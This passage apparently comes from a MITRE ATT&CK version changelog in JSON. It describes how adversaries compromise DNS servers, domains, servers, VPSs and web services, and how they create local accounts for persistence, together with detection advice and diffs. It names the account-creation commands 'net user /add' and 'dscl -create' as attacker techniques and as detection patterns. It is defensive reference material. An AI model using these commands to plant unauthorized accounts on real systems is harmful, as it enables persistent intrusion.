\"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation\"}, \"root['external_references'][8]\": {\"source_name\": \"Koczwara Beacon Hunting Sep 2021\", \"description\": \"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.\", \"url\": \"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)", "DS0035: Internet Scan (Response Metadata)", "DS0038: Domain Name (Active DNS)", "DS0038: Domain Name (Domain Registration)", "DS0038: Domain Name (Passive DNS)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 00:54:30.869000+00:00", "modified": "2021-10-17 15:56:05.112000+00:00", "name": "DNS Server", "description": "Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1584/002", "external_id": "T1584.002" }, { "source_name": "Talos DNSpionage Nov 2018", "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.", "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html" }, { "source_name": "FireEye DNS Hijack 2019", "description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html" }, { "source_name": "CiscoAngler", "description": "Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017.", "url": "https://blogs.cisco.com/security/talos/angler-domain-shadowing" }, { "source_name": "Proofpoint Domain Shadowing", "description": "Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020.", "url": "https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Domain Name: Active DNS", "Domain Name: Passive DNS" ], "x_mitre_detection": "Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Domain Name: Active DNS\", \"Domain Name: Passive DNS\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 15:56:05.112000+00:00\", \"old_value\": \"2021-04-15 03:01:54.609000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet.\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0038: Domain Name (Active DNS)", "DS0038: Domain Name (Passive DNS)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 00:51:28.513000+00:00", "modified": "2021-10-17 15:51:26.715000+00:00", "name": "Domains", "description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1584/001", "external_id": "T1584.001" }, { "source_name": "ICANNDomainNameHijacking", "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.", "url": "https://www.icann.org/groups/ssac/documents/sac-007-en" }, { "source_name": "Microsoft Sub Takeover 2020", "description": "Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020.", "url": "https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Domain Name: Active DNS", "Domain Name: Passive DNS", "Domain Name: Domain Registration" ], "x_mitre_detection": "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Domain Name: Active DNS\", \"Domain Name: Passive DNS\", \"Domain Name: Domain Registration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 15:51:26.715000+00:00\", \"old_value\": \"2021-04-15 03:02:43.030000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0038: Domain Name (Active DNS)", "DS0038: Domain Name (Domain Registration)", "DS0038: Domain Name (Passive DNS)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 00:56:25.135000+00:00", "modified": "2021-10-17 16:00:16.273000+00:00", "name": "Server", "description": "Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1584/004", "external_id": "T1584.004" }, { "source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" }, { "source_name": "Mandiant SCANdalous Jul 2020", "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation" }, { "source_name": "Koczwara Beacon Hunting Sep 2021", "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Metadata", "Internet Scan: Response Content" ], "x_mitre_detection": "Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Metadata\", \"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:00:16.273000+00:00\", \"old_value\": \"2021-04-15 03:03:22.184000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"ThreatConnect Infrastructure Dec 2020\", \"description\": \"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.\", \"url\": \"https://threatconnect.com/blog/infrastructure-research-hunting/\"}, \"root['external_references'][2]\": {\"source_name\": \"Mandiant SCANdalous Jul 2020\", \"description\": \"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.\", \"url\": \"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation\"}, \"root['external_references'][3]\": {\"source_name\": \"Koczwara Beacon Hunting Sep 2021\", \"description\": \"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.\", \"url\": \"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)", "DS0035: Internet Scan (Response Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 00:55:17.771000+00:00", "modified": "2021-10-17 15:59:02.770000+00:00", "name": "Virtual Private Server", "description": "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1584/003", "external_id": "T1584.003" }, { "source_name": "NSA NCSC Turla OilRig", "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.", "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf" }, { "source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" }, { "source_name": "Mandiant SCANdalous Jul 2020", "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation" }, { "source_name": "Koczwara Beacon Hunting Sep 2021", "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Metadata", "Internet Scan: Response Content" ], "x_mitre_detection": "Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Metadata\", \"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 15:59:02.770000+00:00\", \"old_value\": \"2021-04-15 03:03:59.919000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"ThreatConnect Infrastructure Dec 2020\", \"description\": \"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.\", \"url\": \"https://threatconnect.com/blog/infrastructure-research-hunting/\"}, \"root['external_references'][3]\": {\"source_name\": \"Mandiant SCANdalous Jul 2020\", \"description\": \"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.\", \"url\": \"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation\"}, \"root['external_references'][4]\": {\"source_name\": \"Koczwara Beacon Hunting Sep 2021\", \"description\": \"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.\", \"url\": \"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)", "DS0035: Internet Scan (Response Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 01:01:00.176000+00:00", "modified": "2021-10-17 16:01:48.047000+00:00", "name": "Web Services", "description": "Adversaries may compromise access to third-party web services\u00a0that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1584/006", "external_id": "T1584.006" }, { "source_name": "Recorded Future Turla Infra 2020", "description": "Insikt Group. (2020, March 12). Swallowing the Snake\u2019s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020.", "url": "https://www.recordedfuture.com/turla-apt-infrastructure/" }, { "source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Content" ], "x_mitre_detection": "Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:01:48.047000+00:00\", \"old_value\": \"2021-04-15 03:04:40.184000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"ThreatConnect Infrastructure Dec 2020\", \"description\": \"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.\", \"url\": \"https://threatconnect.com/blog/infrastructure-research-hunting/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-28 13:50:22.506000+00:00", "modified": "2021-08-12 13:04:14.248000+00:00", "name": "Local Account", "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1136/001", "external_id": "T1136.001" }, { "source_name": "Microsoft User Creation Event", "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "User Account: User Account Creation", "Process: Process Creation", "Command: Command Execution" ], "x_mitre_detection": "Monitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-12 13:04:14.248000+00:00\", \"old_value\": \"2020-03-23 18:04:20.780000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account.\\n\\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\", \"old_value\": \"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account.\\n\\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account.\\n+Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account.\\n \\n Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Monitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary.\", \"old_value\": \"Monitor for processes and command-line parameters associated with local account creation, such as net user /add or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may create a local account to maintain access tot1Adversaries may create a local account to maintain access to
> victim systems. Local accounts are those configured by an o> victim systems. Local accounts are those configured by an o
>rganization for use by users, remote support, services, or f>rganization for use by users, remote support, services, or f
>or administration on a single system or service. With a suff>or administration on a single system or service. With a suff
>icient level of access, the <code>net user /add</code> comma>icient level of access, the <code>net user /add</code> comma
>nd can be used to create a local account.  Such accounts may>nd can be used to create a local account. On macOS systems t
> be used to establish secondary credentialed access that do >he <code>dscl -create</code> command can be used to create a
>not require persistent remote access tools to be deployed on> local account.  Such accounts may be used to establish seco
> the system.>ndary credentialed access that do not require persistent rem
 >ote access tools to be deployed on the system.
